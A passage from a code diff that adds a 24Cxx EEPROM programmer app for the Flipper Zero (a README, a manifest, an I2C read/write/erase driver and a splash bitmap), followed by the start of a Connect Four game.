+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

applications/system/24cxxprog/README.md

@@ -0,0 +1,222 @@
+# 🔧 24cxxprog - EEPROM 24Cxx Programmer
+
+<h2 align="center">A Comprehensive EEPROM Programmer for Flipper Zero</h2>
+
+<div align="center">
+    <table style="width:100%; border:none;">
+        <tr style="border:none;">
+            <td style="border:none; padding:10px;">
+                <img src="screenshots/1.png" alt="Main Menu - Operations" style="width:100%;">
+                <br>
+                <em>Menu główne z operacjami (Odczyt, Zapis, Kasowanie)</em>
+            </td>
+            <td style="border:none; padding:10px;">
+                <img src="screenshots/2.png" alt="Configuration Menu" style="width:100%;">
+                <br>
+                <em>Menu konfiguracji (Adres I2C, Rozmiar pamięci)</em>
+            </td>
+            <td style="border:none; padding:10px;">
+                <img src="screenshots/3.png" alt="Data Display - EEPROM Contents" style="width:100%;">
+                <br>
+                <em>Wyświetlanie zawartości EEPROM (Dane heksadecymalne)</em>
+            </td>
+        </tr>
+    </table>
+</div>
+
+---
+
+This is a **comprehensive EEPROM programmer application** designed for the **Flipper Zero** that interfaces with the **24Cxx series I2C memory chips**. The application provides a complete suite of tools for reading, writing, erasing, and managing EEPROM memory with a user-friendly interface on the Flipper's screen.
+
+## ✨ Features Overview
+
+### 📝 EEPROM Operations
+
+Complete toolset for memory management:
+
+* **Read Operations:** View complete EEPROM contents with address and hexadecimal data display.
+* **Write Operations:** Program custom data into specific memory addresses.
+* **Erase Functions:** Clear individual bytes, pages, or entire memory sections.
+* **Dump to Storage:** Export EEPROM contents to Flipper SD card for backup and analysis.
+* **Restore from Backup:** Load previously saved EEPROM data back into the chip.
+
+### 🎨 User Interface & Experience
+
+Intuitive interface optimized for Flipper Zero's display:
+
+* **Main Menu:** Clear operation selection with visual feedback.
+* **Data Viewer:** Scrollable hex display showing actual EEPROM contents.
+* **Configuration Menu:** Easy access to sensor parameters and device settings.
+* **Address Navigation:** Precise control over memory location selection.
+* **Progress Indicator:** Real-time feedback during long operations.
+
+### ⚙️ Configuration Options
+
+Customize the programmer for your specific hardware:
+
+* **I2C Address Selection:** Choose between multiple I2C addresses (**0x50-0x57**) for different chip variants.
+* **Memory Size Selection:** Automatically detect or manually set chip capacity (**1KB to 64KB** and larger).
+* **Page Size Configuration:** Adapt to different chip architectures (**8 bytes to 256 bytes per page**).
+* **Persistent Settings:** Configurations are automatically saved for quick access.
+
+### 💻 Technical Features & Robustness
+
+Built for reliability on the Flipper Zero platform:
+
+* **I2C Protocol Support:** Robust communication with error checking.
+* **Address Validation:** Prevents out-of-bounds memory access.
+* **Timeout Protection:** Safeguards against communication errors.
+* **Error Handling:** Comprehensive error messages for troubleshooting.
+* **Non-blocking Operations:** Responsive UI that doesn't freeze during I2C transactions.
+* **Data Verification:** Verify written data integrity after programming.
+
+## 🔋 Supported 24Cxx Chips
+
+Comprehensive support for the entire 24Cxx family:
+
+<table style="width:100%; border:1px solid #ddd; border-collapse: collapse; text-align: left;">
+    <thead style="background-color: #f8f8f8;">
+        <tr>
+            <th style="padding: 8px; border:1px solid #ddd;">Chip Model</th>
+            <th style="padding: 8px; border:1px solid #ddd;">Memory Size</th>
+            <th style="padding: 8px; border:1px solid #ddd;">Page Size</th>
+            <th style="padding: 8px; border:1px solid #ddd;">Address Range</th>
+        </tr>
+    </thead>
+    <tbody>
+        <tr>
+            <td style="padding: 8px; border:1px solid #ddd;"><strong>24C01</strong></td>
+            <td style="padding: 8px; border:1px solid #ddd;">128 Bytes</td>
+            <td style="padding: 8px; border:1px solid #ddd;">8 Bytes</td>
+            <td style="padding: 8px; border:1px solid #ddd;">0x00 - 0x7F</td>
+        </tr>
+        <tr>
+            <td style="padding: 8px; border:1px solid #ddd;"><strong>24C02</strong></td>
+            <td style="padding: 8px; border:1px solid #ddd;">256 Bytes</td>
+            <td style="padding: 8px; border:1px solid #ddd;">8 Bytes</td>
+            <td style="padding: 8px; border:1px solid #ddd;">0x00 - 0xFF</td>
+        </tr>
+        <tr>
+            <td style="padding: 8px; border:1px solid #ddd;"><strong>24C04 - 24C16</strong></td>
+            <td style="padding: 8px; border:1px solid #ddd;">512B - 2KB</td>
+            <td style="padding: 8px; border:1px solid #ddd;">16 Bytes</td>
+            <td style="padding: 8px; border:1px solid #ddd;">0x00 - 0xFFFF</td>
+        </tr>
+        <tr>
+            <td style="padding: 8px; border:1px solid #ddd;"><strong>24C32 - 24C64</strong></td>
+            <td style="padding: 8px; border:1px solid #ddd;">4KB - 8KB</td>
+            <td style="padding: 8px; border:1px solid #ddd;">32 Bytes</td>
+            <td style="padding: 8px; border:1px solid #ddd;">0x0000 - 0x1FFF</td>
+        </tr>
+        <tr>
+            <td style="padding: 8px; border:1px solid #ddd;"><strong>24C128 - 24C512</strong></td>
+            <td style="padding: 8px; border:1px solid #ddd;">16KB - 64KB</td>
+            <td style="padding: 8px; border:1px solid #ddd;">64 Bytes</td>
+            <td style="padding: 8px; border:1px solid #ddd;">0x0000 - 0xFFFF</td>
+        </tr>
+    </tbody>
+</table>
+
+---
+
+## 🕹️ Navigation Guide
+
+<table style="width:100%; border:1px solid #ddd; border-collapse: collapse; text-align: left;">
+    <thead style="background-color: #f8f8f8;">
+        <tr>
+            <th style="padding: 8px; border:1px solid #ddd;">Screen</th>
+            <th style="padding: 8px; border:1px solid #ddd;">D-Pad Up/Down</th>
+            <th style="padding: 8px; border:1px solid #ddd;">D-Pad Left/Right</th>
+            <th style="padding: 8px; border:1px solid #ddd;">OK Button</th>
+            <th style="padding: 8px; border:1px solid #ddd;">Back Button</th>
+        </tr>
+    </thead>
+    <tbody>
+        <tr>
+            <td style="padding: 8px; border:1px solid #ddd;"><strong>Main Menu</strong></td>
+            <td style="padding: 8px; border:1px solid #ddd;">Browse operations (Read, Write, Erase, Dump, Restore)</td>
+            <td style="padding: 8px; border:1px solid #ddd;">-</td>
+            <td style="padding: 8px; border:1px solid #ddd;">Select operation</td>
+            <td style="padding: 8px; border:1px solid #ddd;"><strong>Exit</strong> application</td>
+        </tr>
+        <tr>
+            <td style="padding: 8px; border:1px solid #ddd;"><strong>Read/Write</strong></td>
+            <td style="padding: 8px; border:1px solid #ddd;">Navigate through addresses</td>
+            <td style="padding: 8px; border:1px solid #ddd;">Adjust byte values (Write mode)</td>
+            <td style="padding: 8px; border:1px solid #ddd;">Confirm operation</td>
+            <td style="padding: 8px; border:1px solid #ddd;">Return to Main Menu</td>
+        </tr>
+        <tr>
+            <td style="padding: 8px; border:1px solid #ddd;"><strong>Configuration</strong></td>
+            <td style="padding: 8px; border:1px solid #ddd;">Navigate between settings</td>
+            <td style="padding: 8px; border:1px solid #ddd;">Adjust parameter values</td>
+            <td style="padding: 8px; border:1px solid #ddd;">Apply settings</td>
+            <td style="padding: 8px; border:1px solid #ddd;">Cancel and return</td>
+        </tr>
+        <tr>
+            <td style="padding: 8px; border:1px solid #ddd;"><strong>Data View</strong></td>
+            <td style="padding: 8px; border:1px solid #ddd;">Scroll data up/down</td>
+            <td style="padding: 8px; border:1px solid #ddd;">Jump to address</td>
+            <td style="padding: 8px; border:1px solid #ddd;">Show hex/ASCII toggle</td>
+            <td style="padding: 8px; border:1px solid #ddd;">Exit data view</td>
+        </tr>
+    </tbody>
+</table>
+
+## 🔌 Hardware Connections
+
+Standard I2C pinout for Flipper Zero GPIO:
+
+```
+24Cxx EEPROM Module      Flipper Zero GPIO
+─────────────────        ─────────────────
+SDA (Pin 5)       ───→   GPIO_SDA (Pin 16)
+SCL (Pin 6)       ───→   GPIO_SCL (Pin 15)
+GND (Pin 4)       ───→   GND (Pin 8)
+VCC (Pin 8)       ───→   3.3V (Pin 9)
+
+Optional Pull-ups: 4.7kΩ from SDA and SCL to 3.3V
+```
+
+## 📋 Operation Details
+
+### Read
+- Displays EEPROM contents in hexadecimal format
+- Shows address, data bytes, and ASCII representation
+- Scrollable for chips larger than display capacity
+
+### Write
+- Enter target address and data values
+- Supports single byte or page programming
+- Automatic write cycle delay handling
+
+### Erase
+- Clear individual bytes to 0xFF
+- Erase entire pages
+- Full chip erase with confirmation
+
+### Dump
+- Export EEPROM to **`/ext/apps_data/24cxxprog/`** directory
+- Creates timestamped backup files
+- Preserves complete memory state
+
+### Restore
+- Load previously dumped EEPROM data
+- Verify before writing
+- Restore to specified starting address
+
+---
+
+## 👨‍💻 Developer
+
+This application was created by **Dr. Mosfet** for the Flipper Zero community.
+
+**Repository:** [kamylwnb/24cxxprog](https://github.com/kamylwnb/24cxxprog)
+
+**Version:** 1.0  
+**Category:** GPIO / Tools  
+**Platform:** Flipper Zero F7
+
+---
+
+**Happy EEPROM programming! 🔧**

applications/system/24cxxprog/application.fam

@@ -0,0 +1,22 @@
+App(
+    appid="24cxxprog",
+    name="24Cxx Programmer",
+    apptype=FlipperAppType.EXTERNAL,
+    entry_point="eeprom_app_24cxx",
+    cdefines=["APP_24CXXPROG"],
+    requires=[
+        "gui",
+        "i2c",
+    ],
+    sources=[
+        "i2c_24c02_app.cpp",
+        "i2c_24c02.cpp",
+    ],
+    stack_size=2 * 1024,
+    order=21,
+    fap_icon="icons/ikon.png",
+    fap_category="GPIO",
+    fap_author="@Dr.Mosfet",
+    fap_version="2.0",
+    fap_description="EEPROM 24Cxx programmer via I2C with read, write, erase and dump/restore options.",
+)

applications/system/24cxxprog/i2c_24c02.cpp

@@ -0,0 +1,212 @@
+#include "i2c_24c02.hpp"
+#include "furi_hal_i2c.h"
+#include <furi.h>
+
+EEPROM24C02::EEPROM24C02(uint8_t i2c_address_7bit)
+    : _i2c_addr_8bit(i2c_address_7bit << 1) {
+}
+
+bool EEPROM24C02::init() {
+    // Just check if device is responding
+    return isAvailable();
+}
+
+bool EEPROM24C02::isAvailable() {
+    furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
+
+    // Try to read a dummy byte to check if device responds
+    uint8_t dummy_data;
+    bool success = furi_hal_i2c_rx(
+        &furi_hal_i2c_handle_external, _i2c_addr_8bit, &dummy_data, 1, EEPROM_I2C_TIMEOUT);
+
+    furi_hal_i2c_release(&furi_hal_i2c_handle_external);
+
+    return success;
+}
+
+bool EEPROM24C02::readByte(uint8_t memory_addr, uint8_t& data) {
+    furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
+
+    // Send memory address first
+    bool success_tx = furi_hal_i2c_tx_ext(
+        &furi_hal_i2c_handle_external,
+        _i2c_addr_8bit,
+        false,
+        &memory_addr,
+        1,
+        FuriHalI2cBeginStart,
+        FuriHalI2cEndAwaitRestart,
+        EEPROM_I2C_TIMEOUT);
+
+    // Read the data
+    bool success_rx = false;
+    if(success_tx) {
+        success_rx = furi_hal_i2c_rx_ext(
+            &furi_hal_i2c_handle_external,
+            _i2c_addr_8bit,
+            false,
+            &data,
+            1,
+            FuriHalI2cBeginRestart,
+            FuriHalI2cEndStop,
+            EEPROM_I2C_TIMEOUT);
+    }
+
+    furi_hal_i2c_release(&furi_hal_i2c_handle_external);
+
+    return success_tx && success_rx;
+}
+
+bool EEPROM24C02::writeByte(uint8_t memory_addr, uint8_t data) {
+    uint8_t write_buffer[2];
+    write_buffer[0] = memory_addr;
+    write_buffer[1] = data;
+
+    furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
+
+    bool success = furi_hal_i2c_tx_ext(
+        &furi_hal_i2c_handle_external,
+        _i2c_addr_8bit,
+        false,
+        write_buffer,
+        2,
+        FuriHalI2cBeginStart,
+        FuriHalI2cEndStop,
+        EEPROM_I2C_TIMEOUT);
+
+    furi_hal_i2c_release(&furi_hal_i2c_handle_external);
+
+    if(success) {
+        // Wait for write cycle to complete (typically 5ms for 24C02)
+        furi_delay_ms(10);
+    }
+
+    return success;
+}
+
+bool EEPROM24C02::readBytes(uint8_t start_addr, uint8_t* buffer, uint8_t length) {
+    if(length == 0 || buffer == nullptr) return false;
+
+    furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
+
+    // Send start address
+    bool success_tx = furi_hal_i2c_tx_ext(
+        &furi_hal_i2c_handle_external,
+        _i2c_addr_8bit,
+        false,
+        &start_addr,
+        1,
+        FuriHalI2cBeginStart,
+        FuriHalI2cEndAwaitRestart,
+        EEPROM_I2C_TIMEOUT);
+
+    // Sequential read
+    bool success_rx = false;
+    if(success_tx) {
+        success_rx = furi_hal_i2c_rx_ext(
+            &furi_hal_i2c_handle_external,
+            _i2c_addr_8bit,
+            false,
+            buffer,
+            length,
+            FuriHalI2cBeginRestart,
+            FuriHalI2cEndStop,
+            EEPROM_I2C_TIMEOUT);
+    }
+
+    furi_hal_i2c_release(&furi_hal_i2c_handle_external);
+
+    return success_tx && success_rx;
+}
+
+bool EEPROM24C02::writeBytes(uint8_t start_addr, const uint8_t* buffer, uint8_t length) {
+    if(length == 0 || buffer == nullptr) return false;
+
+    // 24C02 has 8-byte page size - we need to handle page boundaries
+    uint8_t bytes_written = 0;
+
+    while(bytes_written < length) {
+        uint8_t current_addr = start_addr + bytes_written;
+        uint8_t page_offset = current_addr % EEPROM_24C02_PAGE_SIZE;
+        uint8_t bytes_in_page = EEPROM_24C02_PAGE_SIZE - page_offset;
+        uint8_t bytes_to_write =
+            (length - bytes_written < bytes_in_page) ? (length - bytes_written) : bytes_in_page;
+
+        // Prepare write buffer for this page
+        uint8_t write_buffer[EEPROM_24C02_PAGE_SIZE + 1]; // +1 for address
+        write_buffer[0] = start_addr + bytes_written;
+
+        for(uint8_t i = 0; i < bytes_to_write; i++) {
+            write_buffer[i + 1] = buffer[bytes_written + i];
+        }
+
+        furi_hal_i2c_acquire(&furi_hal_i2c_handle_external);
+
+        bool success = furi_hal_i2c_tx_ext(
+            &furi_hal_i2c_handle_external,
+            _i2c_addr_8bit,
+            false,
+            write_buffer,
+            bytes_to_write + 1,
+            FuriHalI2cBeginStart,
+            FuriHalI2cEndStop,
+            EEPROM_I2C_TIMEOUT);
+
+        furi_hal_i2c_release(&furi_hal_i2c_handle_external);
+
+        if(!success) {
+            return false;
+        }
+
+        // Wait for write cycle to complete
+        furi_delay_ms(10);
+
+        bytes_written += bytes_to_write;
+    }
+
+    return true;
+}
+
+bool EEPROM24C02::eraseAll() {
+    // Fill entire memory with 0xFF
+    uint8_t erase_buffer[EEPROM_24C02_PAGE_SIZE];
+    for(uint8_t i = 0; i < EEPROM_24C02_PAGE_SIZE; i++) {
+        erase_buffer[i] = 0xFF;
+    }
+
+    // Erase page by page
+    for(uint8_t page = 0; page < EEPROM_24C02_SIZE / EEPROM_24C02_PAGE_SIZE; page++) {
+        uint8_t start_addr = page * EEPROM_24C02_PAGE_SIZE;
+        if(!writeBytes(start_addr, erase_buffer, EEPROM_24C02_PAGE_SIZE)) {
+            return false;
+        }
+    }
+
+    return true;
+}
+
+bool EEPROM24C02::eraseRange(uint8_t start_addr, uint8_t length) {
+    if(length == 0) return false;
+
+    // Check if range goes beyond memory
+    uint16_t end_addr = (uint16_t)start_addr + length;
+    if(end_addr > EEPROM_24C02_SIZE) {
+        length = EEPROM_24C02_SIZE - start_addr;
+    }
+
+    // Fill range with 0xFF
+    uint8_t erase_buffer[EEPROM_24C02_PAGE_SIZE];
+    for(uint8_t i = 0; i < EEPROM_24C02_PAGE_SIZE; i++) {
+        erase_buffer[i] = 0xFF;
+    }
+
+    return writeBytes(start_addr, erase_buffer, length);
+}
+
+void EEPROM24C02::setAddress(uint8_t i2c_address_7bit) {
+    _i2c_addr_8bit = i2c_address_7bit << 1;
+}
+
+uint8_t EEPROM24C02::getAddress() {
+    return _i2c_addr_8bit >> 1;
+}

applications/system/24cxxprog/i2c_24c02.hpp

@@ -0,0 +1,54 @@
+#pragma once
+
+#include <stdint.h>
+#include <stdbool.h>
+
+// 24C02 EEPROM I2C addresses (7-bit)
+// Standard addresses: 0x50-0x57 (A0-A2 pins)
+#define EEPROM_24C02_BASE_ADDR 0x50
+#define EEPROM_24C02_MAX_ADDR  0x57
+
+// Memory size for 24C02
+#define EEPROM_24C02_SIZE 256  // 2KB = 2048 bits = 256 bytes
+#define EEPROM_24C02_PAGE_SIZE 8  // Page write size
+
+// I2C operation timeout
+#define EEPROM_I2C_TIMEOUT 100
+
+class EEPROM24C02 {
+private:
+    uint8_t _i2c_addr_8bit;
+    
+public:
+    EEPROM24C02(uint8_t i2c_address_7bit);
+    
+    // Initialize communication with EEPROM
+    bool init();
+    
+    // Read single byte from address
+    bool readByte(uint8_t memory_addr, uint8_t& data);
+    
+    // Write single byte to address
+    bool writeByte(uint8_t memory_addr, uint8_t data);
+    
+    // Read multiple bytes (sequential read)
+    bool readBytes(uint8_t start_addr, uint8_t* buffer, uint8_t length);
+    
+    // Write multiple bytes (page write)
+    bool writeBytes(uint8_t start_addr, const uint8_t* buffer, uint8_t length);
+    
+    // Erase entire memory (fill with 0xFF)
+    bool eraseAll();
+    
+    // Erase range of bytes
+    bool eraseRange(uint8_t start_addr, uint8_t length);
+    
+    // Check if EEPROM is responding
+    bool isAvailable();
+    
+    // Set I2C address
+    void setAddress(uint8_t i2c_address_7bit);
+    
+    // Get current I2C address
+    uint8_t getAddress();
+};

applications/system/24cxxprog/i2c_24c02_startup.h

@@ -0,0 +1,81 @@
+#pragma once
+
+#include <gui/canvas.h>
+
+static const uint8_t image_DolphinMafia_0_bits[] = {
+    0x00, 0x00, 0x00, 0x00, 0xf0, 0x3f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+    0x00, 0x00, 0x00, 0x0e, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+    0x00, 0xe0, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+    0xfe, 0x7f, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x55,
+    0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xae, 0xaa, 0x00,
+    0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x55, 0x55, 0x15, 0x00,
+    0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xaa, 0x2a, 0x00, 0x00, 0x04,
+    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x55, 0x55, 0x55, 0x00, 0x08, 0x00,
+    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0xaa, 0x2a, 0x00, 0x00, 0x08, 0xff, 0x3f,
+    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x55, 0x55, 0x55, 0x00, 0xf8, 0x00, 0xc0, 0x00,
+    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0xaa, 0x2a, 0x00, 0x00, 0x10, 0x00, 0x00, 0x01, 0x00,
+    0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x55, 0x55, 0x55, 0x00, 0x10, 0x00, 0x00, 0x01, 0x00, 0x00,
+    0x00, 0x00, 0x00, 0x00, 0xa0, 0xaa, 0x2a, 0x00, 0x00, 0x20, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
+    0x00, 0x00, 0x00, 0x60, 0xd5, 0xff, 0xff, 0x3f, 0x20, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00,
+    0x00, 0x00, 0xa0, 0xfa, 0xff, 0xff, 0xff, 0xff, 0x03, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+    0x00, 0x60, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+    0xe0, 0xff, 0xff, 0xbf, 0xaa, 0xaa, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0,
+    0xff, 0xff, 0x57, 0x55, 0x55, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xff,
+    0xff, 0xaa, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x5f,
+    0x15, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0xff, 0xaf, 0x02,
+    0xf8, 0x0f, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xff, 0xff, 0x55, 0x01, 0xff,
+    0x1f, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0xff, 0xff, 0x2a, 0xc0, 0x0f, 0xf8,
+    0x0f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0xff, 0x5f, 0x15, 0xf0, 0x0f, 0xf8, 0x0f,
+    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xf8, 0xff, 0xaf, 0x02, 0xf8, 0x0f, 0x1c, 0x0e, 0x1f,
+    0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0xfc, 0xff, 0x57, 0x15, 0xf8, 0x1f, 0x1e, 0xfe, 0x60, 0x00,
+    0x00, 0x00, 0xd6, 0x00, 0x50, 0xfe, 0xff, 0xab, 0xff, 0xff, 0xff, 0x0f, 0x0f, 0x80, 0x00, 0x00,
+    0x80, 0x01, 0xc8, 0x4e, 0xfe, 0xff, 0xf5, 0x17, 0xf0, 0xff, 0xcf, 0x00, 0x00, 0x01, 0x00, 0x40,
+    0x00, 0x00, 0x20, 0xff, 0xff, 0xfb, 0x00, 0xe0, 0xff, 0x07, 0x00, 0x60, 0x01, 0x00, 0x20, 0x00,
+    0x00, 0x18, 0xff, 0xff, 0x5d, 0x05, 0xc0, 0xff, 0x03, 0x00, 0x70, 0xe1, 0x07, 0xa0, 0xa3, 0xb0,
+    0x06, 0xff, 0xff, 0xaa, 0x00, 0x80, 0xff, 0x01, 0x00, 0xfc, 0x01, 0x00, 0x60, 0x00, 0x00, 0x00,
+    0xff, 0xff, 0x5d, 0x05, 0xc0, 0x7f, 0x00, 0x00, 0xb3, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0xfe,
+    0xff, 0xae, 0x00, 0x20, 0x60, 0x00, 0xc0, 0x80, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0xfc, 0x9f,
+    0x55, 0x05, 0x10, 0x40, 0x00, 0x30, 0x80, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x80, 0xaa,
+    0x00, 0x10, 0x00, 0x00, 0x0c, 0x80, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x80, 0x55, 0x05,
+    0x00, 0x00, 0x00, 0x03, 0x40, 0x00, 0x80, 0x10, 0x00, 0x00, 0x00, 0x00, 0x80, 0xaa, 0x00, 0x00,
+    0x02, 0x80, 0x00, 0x20, 0x00, 0x40, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0x05, 0x00, 0x02,
+    0x60, 0x00, 0x10, 0x00, 0x40, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0xab, 0x00, 0x00, 0x0c, 0x18,
+    0x00, 0x0c, 0x00, 0x20, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0x15, 0x00, 0xf0, 0x07, 0x00,
+    0x03, 0xc0, 0x11, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0xab, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00,
+    0x20, 0x16, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0x15, 0x00, 0x00, 0x00, 0x30, 0x00, 0x20,
+    0x08, 0x21, 0x00, 0x00, 0x00, 0x00, 0x80, 0xab, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x20, 0x80,
+    0x40, 0x00, 0x00, 0x00, 0x00, 0x40, 0x5d, 0x15, 0x00, 0x00, 0x00, 0x03, 0x00, 0x40, 0x80, 0x80,
+    0x00, 0x00, 0x00, 0x00, 0xc0, 0xea, 0x02, 0x00, 0x00, 0xc0, 0x07, 0x00, 0x40, 0x40, 0x00, 0x01,
+    0x00, 0x00, 0x00, 0x40, 0x55, 0x57, 0x00, 0x00, 0xf8, 0x07, 0x00, 0x80, 0x40, 0x00, 0x01, 0x00,
+    0x00, 0x00, 0xc0, 0xaa, 0x3a, 0x00, 0x00, 0xfe, 0x05, 0x00, 0x80, 0x40, 0x00, 0x01, 0x00, 0x00,
+    0x00, 0xe0, 0x55, 0xd5, 0x01, 0x00, 0xfc, 0x05, 0x00, 0x80, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00,
+    0xf0, 0xab, 0x0a, 0x1e, 0x00, 0x70, 0x0c, 0x00, 0x80, 0x00, 0x81, 0x00, 0x00, 0x00, 0x00, 0xd8,
+    0x57, 0x55, 0xe1, 0x01, 0x00, 0x14, 0x00, 0x80, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0xec, 0xaf,
+    0x0a, 0x00, 0xfe, 0x07, 0x14, 0x00, 0xe0, 0x00, 0x7c, 0x00, 0x00, 0x00, 0x00, 0xf2, 0x7f, 0x55,
+    0x05, 0x00, 0x18, 0x24, 0x00, 0x10, 0x01, 0x20, 0x00, 0x00, 0x00, 0x00, 0xeb, 0xff, 0x0a, 0x00,
+    0x00, 0x20, 0x22, 0x00, 0x08, 0x02, 0x20, 0x00, 0x00, 0x00, 0x00, 0xf5, 0xff, 0x55, 0x05, 0x00,
+    0x48, 0x22, 0x00, 0x04, 0x04, 0x10, 0x00, 0x00, 0x00, 0x80, 0xfa, 0xff, 0x0f, 0x00, 0x00, 0x8c,
+    0x42, 0x00, 0x06, 0x08, 0x08, 0x00, 0x00, 0x00, 0x40, 0xf5, 0xff, 0x5f, 0x15, 0x00, 0x06, 0x4b,
+    0x80, 0x09, 0x30, 0x04, 0x00, 0x00, 0x00, 0xc0, 0xfa, 0xff, 0xea, 0x00, 0x00, 0x07, 0x52, 0x40,
+    0x10, 0xc0, 0x06, 0x00, 0x00, 0x00, 0x60, 0xf5, 0x7f, 0x55, 0x17, 0x80, 0x0f, 0x72, 0x30, 0x20,
+    0x00, 0x07, 0x00, 0x00, 0x00, 0xb0, 0xfa, 0xbf, 0xaa, 0x38, 0xc0, 0x1f, 0xf4, 0xac, 0x42, 0x00,
+    0x04, 0x00, 0x00, 0x00, 0x50, 0xf5, 0x5f, 0x55, 0xd5, 0xe1, 0x3f, 0x74, 0x57, 0x81, 0x01, 0x02,
+    0x00, 0x00, 0x00, 0xa8, 0xfa, 0xaf, 0xaa, 0x80, 0xf3, 0x7f, 0xf8, 0xaa, 0x0a, 0x06, 0x01, 0x00,
+    0x00, 0x00};
+
+void drawScreen_1(Canvas* canvas) {
+    canvas_set_bitmap_mode(canvas, true);
+
+    // Layer 3
+    canvas_set_font(canvas, FontPrimary);
+    canvas_draw_str(canvas, 86, 22, "24cXX ");
+
+    // Layer 3
+    canvas_draw_str(canvas, 77, 10, "Dr.Mosfet ");
+
+    // Layer 4
+    canvas_draw_str(canvas, 67, 34, "Programmer");
+
+    // DolphinMafia
+    canvas_draw_xbm(canvas, -9, 12, 119, 62, image_DolphinMafia_0_bits);
+}

applications/system/4inrow_game/4inrow.c

@@ -0,0 +1,325 @@
+#include <stdio.h>
+#include <furi.h>
+#include <gui/gui.h>
+#include <input/input.h>
+#include <notification/notification.h>
+#include <notification/notification_messages.h>
+#include <dolphin/dolphin.h>
+
+static int matrix[6][7] = {0};
+static int cursorx = 3;
+static int cursory = 5;
+static int player = 1;
+static int scoreX = 0;
+static int scoreO = 0;
+
+typedef struct {
+    FuriMutex* mutex;
+} FourInRowState;
+
+void init() {
+    for(size_t i = 0; i < 6; i++) {
+        for(size_t j = 0; j < 7; j++) {
+            matrix[i][j] = 0;
+        }
+    }
+    cursorx = 3;
+    cursory = 5;
+    player = 1;
+}
+
+const NotificationSequence end = {
+    &message_vibro_on,
+
+    &message_note_ds4,
+    &message_delay_10,
+    &message_sound_off,
+    &message_delay_10,
+
+    &message_note_ds4,
+    &message_delay_10,
+    &message_sound_off,
+    &message_delay_10,
+
+    &message_note_ds4,
+    &message_delay_10,
+    &message_sound_off,
+    &message_delay_10,
+
+    &message_vibro_off,
+    NULL,
+};
+
+void intToStr(int num, char* str) {
+    int i = 0, sign = 0;
+
+    if(num < 0) {
+        num = -num;
+        sign = 1;
+    }
+
+    do {
+        str[i++] = num % 10 + '0';
+        num /= 10;
+    } while(num > 0);
+
+    if(sign) {
+        str[i++] = '-';
+    }
+
+    str[i] = '\0';
+
+    // Reverse the string
